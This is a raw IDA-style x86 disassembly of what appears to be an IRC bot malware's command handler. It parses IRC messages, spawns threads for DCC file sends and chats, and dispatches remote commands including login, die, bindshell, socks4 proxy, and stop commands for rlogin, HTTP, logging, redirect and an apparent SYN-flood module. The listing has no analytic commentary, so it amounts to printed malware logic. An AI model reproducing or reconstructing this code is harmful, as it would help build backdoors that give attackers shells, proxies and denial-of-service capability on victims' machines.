		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401EF6
		cmp	[edi], bl
		jz	loc_401ED4
		push	7Fh
		lea	eax, [ebp-0E00h]
		push	edi
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp-0C0h]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401ED4
		cmp	[ebp-84h], ebx
		jz	short loc_401ED4
		push	dword ptr [ebp-84h]
		lea	eax, [ebp-0C0h]
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401ED4
		lea	eax, [ebp-0C0h]
		mov	[edi], bl
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_43362C
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		add	esp, 20h


loc_401ED4:				; CODE XREF: seg000:00401E4Ej
					; seg000:00401E6Ej ...
		push	dword ptr [ebp-84h]
		push	dword ptr [ebp+18h]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401D6C
		mov	eax, [ebp+28h]
		mov	[eax], ebx
		jmp	loc_401D56
; ---------------------------------------------------------------------------


loc_401EF6:				; CODE XREF: seg000:00401E46j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40202B
		mov	eax, [ebp-88h]
		lea	esi, [eax+1]
		lea	eax, [ebp-0E00h]
		push	eax
		push	edi
		mov	[ebp+2Ch], esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5D
		lea	eax, [ebp-0E00h]
		push	21h
		push	eax
		call	sub_41C650
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jz	short loc_401F5D
		lea	eax, [edi+1]
		push	esi
		push	eax
		mov	byte ptr [edi],	3Ah
		call	sub_41C550
		push	dword ptr [ebp+8]
		add	edi, 2
		push	edi
		call	sub_41C560
		add	esp, 10h


loc_401F5D:				; CODE XREF: seg000:00401F28j
					; seg000:00401F3Fj
		lea	eax, [ebp-0C0h]
		test	eax, eax
		jz	loc_401D6C
		cmp	esi, ebx
		jz	loc_401D6C
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-0C0h]
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F93
		push	0Fh
		push	esi
		push	dword ptr [ebp+18h]
		jmp	loc_401DCF
; ---------------------------------------------------------------------------


loc_401F93:				; CODE XREF: seg000:00401F86j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_401F98:				; CODE XREF: seg000:00401FB9j
		cmp	[edi], bl
		jz	short loc_401FAF
		lea	eax, [ebp-0E00h]
		push	eax
		push	edi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FC0


loc_401FAF:				; CODE XREF: seg000:00401F9Aj
		inc	esi
		add	edi, 80h
		cmp	esi, 1
		jl	short loc_401F98
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_401FC0:				; CODE XREF: seg000:00401FADj
		lea	eax, [ebp-0E00h]
		push	21h
		push	eax
		call	sub_41C650
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jz	loc_401D6C
		push	eax
		call	sub_41B890
		push	dword ptr [ebp+2Ch]
		mov	edi, eax
		call	sub_41B890
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401D6C
		push	dword ptr [ebp+8]
		shl	esi, 7
		push	dword ptr [ebp+2Ch]
		add	esi, [ebp+20h]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-45ECh]
		push	ebx
		push	eax
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 24h
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_40202B:				; CODE XREF: seg000:00401F05j
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40204D
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40207E


loc_40204D:				; CODE XREF: seg000:0040203Aj
		xor	esi, esi
		mov	[ebp+14h], edi


loc_402052:				; CODE XREF: seg000:00402076j
		mov	eax, [ebp+14h]
		cmp	[eax], bl
		jz	short loc_40206B
		push	dword ptr [ebp-90h]
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020C1


loc_40206B:				; CODE XREF: seg000:00402057j
		add	dword ptr [ebp+14h], 80h
		inc	esi
		cmp	esi, 1
		jl	short loc_402052
		mov	esi, [ebp-8Ch]


loc_40207E:				; CODE XREF: seg000:0040204Bj
		push	esi
		push	offset a353	; "353"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40211F
		push	dword ptr [ebp-80h]
		push	dword ptr [ebp+10h]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4020AD
		mov	eax, [ebp+28h]
		mov	dword ptr [eax], 1


loc_4020AD:				; CODE XREF: seg000:004020A2j
		push	dword ptr [ebp-80h]
		push	offset unk_4335D8


loc_4020B5:				; CODE XREF: seg000:00404399j
					; seg000:00404743j ...
		call	sub_41581A


loc_4020BA:				; CODE XREF: seg000:004036B2j
		pop	ecx


loc_4020BB:				; CODE XREF: seg000:004095B5j
		pop	ecx
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_4020C1:				; CODE XREF: seg000:00402069j
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-2C0h]
		shl	esi, 7
		push	offset unk_4335B4
		push	eax
		mov	[esi+edi], bl
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp-8Ch]
		push	offset aPart	; "PART"
		call	sub_41C710
		add	esp, 18h
		test	eax, eax
		jnz	loc_401D6C
		lea	eax, [ebp-2C0h]
		push	eax
		mov	eax, [ebp-90h]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401D61
; ---------------------------------------------------------------------------


loc_40211F:				; CODE XREF: seg000:0040208Dj
					; DATA XREF: seg002:0042C298o
		push	dword ptr [ebp-8Ch]
		mov	edi, offset aPrivmsg ; "PRIVMSG"
		push	edi
		call	sub_41C710
		pop	ecx
		mov	esi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402173
		push	dword ptr [ebp-8Ch]
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402173
		push	dword ptr [ebp-8Ch]
		push	offset dword_4335A0
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4097B8
		cmp	ds:dword_42908C, ebx
		jz	loc_4097B8


loc_402173:				; CODE XREF: seg000:00402139j
					; seg000:0040214Bj
		push	dword ptr [ebp-8Ch]
		push	edi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022F3
		push	dword ptr [ebp-8Ch]
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022F3
		mov	eax, [ebp-84h]
		inc	dword ptr [ebp-80h]
		push	4
		mov	[ebp-88h], eax
		pop	esi
		mov	[ebp-0A8h], esi


loc_4021B7:				; CODE XREF: seg000:004023AFj
					; seg000:004023EBj ...
		shl	esi, 2
		mov	eax, [ebp+esi-90h]
		lea	edi, [ebp+esi-90h]
		push	eax
		push	offset dword_433598
		mov	[ebp+10h], eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402578
		push	dword ptr [ebp+esi-8Ch]
		push	offset aSend_0	; "SEND"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402442
		cmp	[ebp-0A4h], ebx
		jz	loc_40241B
		push	dword ptr [ebp+esi-88h]
		mov	edi, offset aS_2 ; "%s"
		lea	eax, [ebp-1B80h]
		push	edi
		push	eax
		call	sub_41BF36
		push	dword ptr [ebp+esi-84h]
		lea	eax, [ebp-1B94h]
		push	edi
		push	eax
		call	sub_41BF36
		push	dword ptr [ebp+esi-80h]
		call	sub_41BE29
		mov	[ebp-19FCh], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-1B9Ch], eax
		lea	eax, [ebp-0C0h]
		push	7Fh
		push	eax
		lea	eax, [ebp-1A7Ch]
		push	eax
		call	sub_41BCA0
		mov	eax, [ebp-4]
		mov	[ebp-19F4h], eax
		mov	eax, [ebp-8]
		mov	[ebp-19F0h], eax
		lea	eax, [ebp-1A7Ch]
		push	eax
		lea	eax, [ebp-1B80h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_43355C
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	1Ah
		push	eax
		call	sub_40B00E
		add	esp, 44h
		mov	[ebp-19F8h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1B9Ch]
		push	ebx
		push	eax
		push	offset loc_4167C7
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-19F8h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	loc_40929E


loc_4022DD:				; CODE XREF: seg000:004022F1j
		cmp	[ebp-19ECh], ebx
		jnz	loc_40833C
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_4022DD
; ---------------------------------------------------------------------------


loc_4022F3:				; CODE XREF: seg000:00402183j
					; seg000:00402199j
		push	dword ptr [ebp-8Ch]
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40230C
		mov	dword ptr [ebp-4], 1


loc_40230C:				; CODE XREF: seg000:00402303j
		cmp	[ebp-88h], ebx
		jz	loc_401D6C
		push	offset dword_42C2A0
		push	dword ptr [ebp-88h]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402333
		cmp	[ebp-4], ebx
		jz	short loc_40233F


loc_402333:				; CODE XREF: seg000:0040232Cj
		lea	eax, [ebp-0C0h]
		mov	[ebp-88h], eax


loc_40233F:				; CODE XREF: seg000:00402331j
		cmp	[ebp-84h], ebx
		jz	loc_401D6C
		inc	dword ptr [ebp-84h]
		jz	short loc_40238B
		cmp	[ebp+18h], ebx
		jz	short loc_40238B
		lea	eax, [ebp-338h]
		push	eax
		call	sub_41B890
		push	eax
		lea	eax, [ebp-338h]
		push	dword ptr [ebp-84h]
		push	eax
		call	sub_41C510
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp-0A8h], esi
		jmp	short loc_402391
; ---------------------------------------------------------------------------


loc_40238B:				; CODE XREF: seg000:00402351j
					; seg000:00402356j
		mov	esi, [ebp-0A8h]


loc_402391:				; CODE XREF: seg000:00402389j
		mov	edi, [ebp+esi*4-90h]
		cmp	edi, ebx
		jz	loc_401D6C
		push	edi
		push	offset dword_433550
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4021B7
		mov	ecx, [ebp-88h]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023DC
		mov	eax, ds:dword_4D10A4
		mov	eax, ds:off_42914C[eax*4]
		cmp	[eax], bl
		jz	short loc_4023DC
		push	eax
		push	ecx
		push	offset dword_433534
		jmp	loc_401D61
; ---------------------------------------------------------------------------


loc_4023DC:				; CODE XREF: seg000:004023BEj
					; seg000:004023CEj
		push	edi
		push	offset dword_43352C
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4021B7
		mov	eax, [ebp+esi*4-8Ch]
		cmp	eax, ebx
		jz	loc_4021B7
		mov	ecx, [ebp-88h]
		cmp	byte ptr [ecx],	23h
		jz	loc_4021B7
		push	eax
		push	ecx
		push	offset dword_433514
		jmp	loc_401D61
; ---------------------------------------------------------------------------


loc_40241B:				; CODE XREF: seg000:00402201j
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset unk_4334D0
		push	eax
		call	sub_41BF36
		add	esp, 10h
		jmp	loc_40833C
; ---------------------------------------------------------------------------


loc_402442:				; CODE XREF: seg000:004021F5j
		push	dword ptr [ebp+esi-8Ch]
		push	offset aChat	; "CHAT"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40258E
		cmp	[ebp-0A4h], ebx
		jz	loc_402567
		push	1Bh
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jnz	loc_402556
		push	dword ptr [ebp+esi-84h]
		lea	eax, [ebp-2AA8h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BF36
		push	dword ptr [ebp+esi-80h]
		call	sub_41BE29
		mov	[ebp-2910h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-2AB0h], eax
		lea	eax, [ebp-0C0h]
		push	7Fh
		push	eax
		lea	eax, [ebp-2990h]
		push	eax
		call	sub_41BCA0
		mov	eax, [ebp-4]
		mov	[ebp-2908h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2904h], eax
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_4334A8
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	1Bh
		push	eax
		call	sub_40B00E
		add	esp, 34h
		mov	[ebp-290Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-2AB0h]
		push	ebx
		push	eax
		push	offset dword_416264
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-290Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_402545


loc_40252F:				; CODE XREF: seg000:00402543j
		cmp	[ebp-2900h], ebx
		jnz	loc_40833C
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_40252F
; ---------------------------------------------------------------------------


loc_402545:				; CODE XREF: seg000:0040252Dj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_433470
		jmp	loc_40832D
; ---------------------------------------------------------------------------


loc_402556:				; CODE XREF: seg000:00402473j
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset unk_433440
		jmp	loc_40832D
; ---------------------------------------------------------------------------


loc_402567:				; CODE XREF: seg000:00402463j
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset unk_43340C
		jmp	loc_40832D
; ---------------------------------------------------------------------------


loc_402578:				; CODE XREF: seg000:004021DAj
		mov	eax, [ebp+10h]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, ds:byte_429094
		mov	[edi], ecx
		jnz	loc_401D6C


loc_40258E:				; CODE XREF: seg000:00402457j
		mov	edi, [edi]
		push	edi
		push	offset aLogin	; "login"
		mov	[ebp+10h], edi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aHi_0	; "hi"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		cmp	[ebp-0A4h], ebx
		jnz	short loc_4025DF
		push	dword ptr [ebp-8Ch]
		push	offset dword_4335A0
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4097B8


loc_4025DF:				; CODE XREF: seg000:004025C3j
		cmp	[ebp+30h], ebx
		jnz	loc_4097B8
		xor	edi, edi
		cmp	ds:dword_42B684, ebx
		jle	loc_402794
		mov	dword ptr [ebp+28h], offset dword_4433A0


loc_4025FD:				; CODE XREF: seg000:0040261Cj
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+28h]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402623
		add	dword ptr [ebp+28h], 0B8h
		inc	edi
		cmp	edi, ds:dword_42B684
		jl	short loc_4025FD
		jmp	loc_402794
; ---------------------------------------------------------------------------


loc_402623:				; CODE XREF: seg000:0040260Cj
		push	offset asc_433690 ; " :"
		push	dword ptr [ebp+8]
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401D6C
		mov	cl, ds:byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, ds:byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_4433B8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp+esi-50h]
		add	esp, 0Ch
		mov	dword ptr [ebp+28h], 0Fh
		mov	[ebp+14h], eax


loc_402678:				; CODE XREF: seg000:00402729j
		push	dword ptr [ebp+28h]
		lea	eax, [ebp-0A0h]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41BFB0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026E4
		mov	eax, [ebp+14h]
		cmp	[eax], ebx
		jz	short loc_4026E4
		lea	eax, dword_4433A0[edi]
		push	eax
		call	sub_41B890
		add	[ebp-0Ch], eax
		pop	ecx
		jz	short loc_40271F
		mov	eax, [ebp+14h]
		push	dword ptr [eax-4]
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40271F
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41869A
		add	esp, 0Ch
		jmp	short loc_40271F
; ---------------------------------------------------------------------------


loc_4026E4:				; CODE XREF: seg000:004026A0j
					; seg000:004026A7j
		mov	eax, [ebp+14h]
		cmp	[eax], ebx
		jnz	short loc_40271F
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp-94h]
		mov	[ebp-92h], bl
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41869A
		add	esp, 18h


loc_40271F:				; CODE XREF: seg000:004026B9j
					; seg000:004026CDj ...
		dec	dword ptr [ebp+28h]
		sub	dword ptr [ebp+14h], 4
		cmp	[ebp+28h], ebx
		jg	loc_402678
		lea	eax, [ebp+esi-50h]
		mov	dword ptr [ebp+28h], 10h
		mov	edi, eax


loc_40273C:				; CODE XREF: seg000:00402788j
		push	dword ptr [ebp+28h]
		lea	eax, [ebp-0A0h]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41BFB0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40277F
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40277F
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41869A
		add	esp, 0Ch


loc_40277F:				; CODE XREF: seg000:00402764j
					; seg000:0040276Aj
		dec	dword ptr [ebp+28h]
		sub	edi, 4
		cmp	[ebp+28h], ebx
		jg	short loc_40273C
		mov	dword ptr [ebp-2C4h], 1


loc_402794:				; CODE XREF: seg000:004025F0j
					; seg000:0040261Ej
		mov	eax, [ebp+10h]
		mov	al, [eax]
		cmp	al, ds:byte_429094
		jz	short loc_4027AD
		cmp	[ebp-2C4h], ebx
		jz	loc_40299E


loc_4027AD:				; CODE XREF: seg000:0040279Fj
		push	dword ptr [ebp+18h]
		mov	edi, [ebp+8]
		push	offset aMe	; "$me"
		push	edi
		call	sub_41869A
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_41869A
		push	dword ptr [ebp-88h]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_41869A
		push	ebx
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40AFA5
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_41869A
		add	esp, 40h
		push	dword ptr [ebp+1Ch]
		push	offset aServer_2 ; "$server"
		push	edi
		call	sub_41869A
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41BFB0
		add	esp, 14h


loc_40281F:				; CODE XREF: seg000:00402917j
		test	eax, eax
		jz	loc_40291C
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41BFB0
		mov	[ebp+18h], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp-0A0h]
		push	offset asc_4333C8 ; ")"
		push	eax
		call	sub_41C794
		add	esp, 1Ch
		cmp	byte ptr [ebp-0A0h], 30h
		jl	short loc_40286B
		cmp	byte ptr [ebp-0A0h], 39h
		jle	short loc_402881


loc_40286B:				; CODE XREF: seg000:00402860j
		push	3
		lea	eax, [ebp-0A0h]
		push	offset a63	; "63"
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch


loc_402881:				; CODE XREF: seg000:00402869j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jle	short loc_4028A7
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_41BE29
		pop	ecx
		mov	[ebp-94h], al
		jmp	short loc_4028BB
; ---------------------------------------------------------------------------


loc_4028A7:				; CODE XREF: seg000:00402890j
		call	sub_41BF92
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp-94h], dl


loc_4028BB:				; CODE XREF: seg000:004028A5j
		lea	eax, [ebp-0A0h]
		mov	[ebp-93h], bl
		push	eax
		call	sub_41B890
		mov	[ebp+28h], eax
		push	0Ch
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_41BC40
		mov	eax, [ebp+28h]
		add	eax, 6
		push	eax
		lea	eax, [ebp-0A0h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp-94h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41869A
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41BFB0
		add	esp, 30h
		jmp	loc_40281F
; ---------------------------------------------------------------------------


loc_40291C:				; CODE XREF: seg000:00402821j
		mov	edi, 1FFh
		lea	eax, [ebp-4488h]
		push	edi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp-4488h]
		push	edi
		push	eax
		lea	eax, [ebp-4AF0h]
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp-4AF0h]
		push	offset asc_43368C ; " "
		push	eax
		call	sub_41C794
		add	esp, 20h
		mov	[ebp-90h], eax
		lea	edi, [ebp-8Ch]
		mov	dword ptr [ebp+18h], 1Fh


loc_40296C:				; CODE XREF: seg000:00402981j
		push	offset asc_43368C ; " "
		push	ebx
		call	sub_41C794
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp+18h]
		pop	ecx
		jnz	short loc_40296C
		mov	ecx, [ebp+esi-90h]
		lea	eax, [ebp+esi-90h]
		cmp	ecx, ebx
		jz	loc_401D6C
		add	ecx, 3
		mov	[eax], ecx


loc_40299E:				; CODE XREF: seg000:004027A7j
		mov	edi, [ebp+esi-90h]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+10h], edi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40976B
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40976B
		push	edi
		push	offset aDie	; "die"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404A20
		push	edi
		push	offset aD	; "d"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404A20
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40497E
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40497E
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40496F
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40496F
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404965
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404965
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40494C
		push	edi
		push	offset aSt	; "st"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40494C
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40484E
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40484E
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40484E
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40484E
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404748
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404748
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B62
		push	dword ptr [ebp+esi-8Ch]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_433328


loc_402B46:				; CODE XREF: seg000:00402BB0j
					; seg000:00402BD6j ...
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B29C
		add	esp, 20h
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_402B62:				; CODE XREF: seg000:00402B31j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404626
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404626
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB2
		push	dword ptr [ebp+esi-8Ch]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_433300
		jmp	short loc_402B46
; ---------------------------------------------------------------------------


loc_402BB2:				; CODE XREF: seg000:00402B9Bj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BDB
		push	dword ptr [ebp+esi-8Ch]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_4332E4
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402BDB:				; CODE XREF: seg000:00402BC1j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C04
		push	dword ptr [ebp+esi-8Ch]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_4332C8
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402C04:				; CODE XREF: seg000:00402BEAj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C2D
		push	dword ptr [ebp+esi-8Ch]
		push	25h
		push	offset dword_4332B4
		push	offset dword_4332A8
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402C2D:				; CODE XREF: seg000:00402C13j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C56
		push	dword ptr [ebp+esi-8Ch]
		push	18h
		push	offset dword_433288
		push	offset dword_433278
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402C56:				; CODE XREF: seg000:00402C3Cj
		push	edi
		push	offset dword_43326C
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C7F
		push	dword ptr [ebp+esi-8Ch]
		push	0Dh
		push	offset dword_433260
		push	offset dword_433254
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402C7F:				; CODE XREF: seg000:00402C65j
		push	edi
		push	offset aSy1stop	; "sy1stop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CA8
		push	dword ptr [ebp+esi-8Ch]
		push	0Eh
		push	offset dword_433240
		push	offset dword_433234
		jmp	loc_402B46
; ---------------------------------------------------------------------------


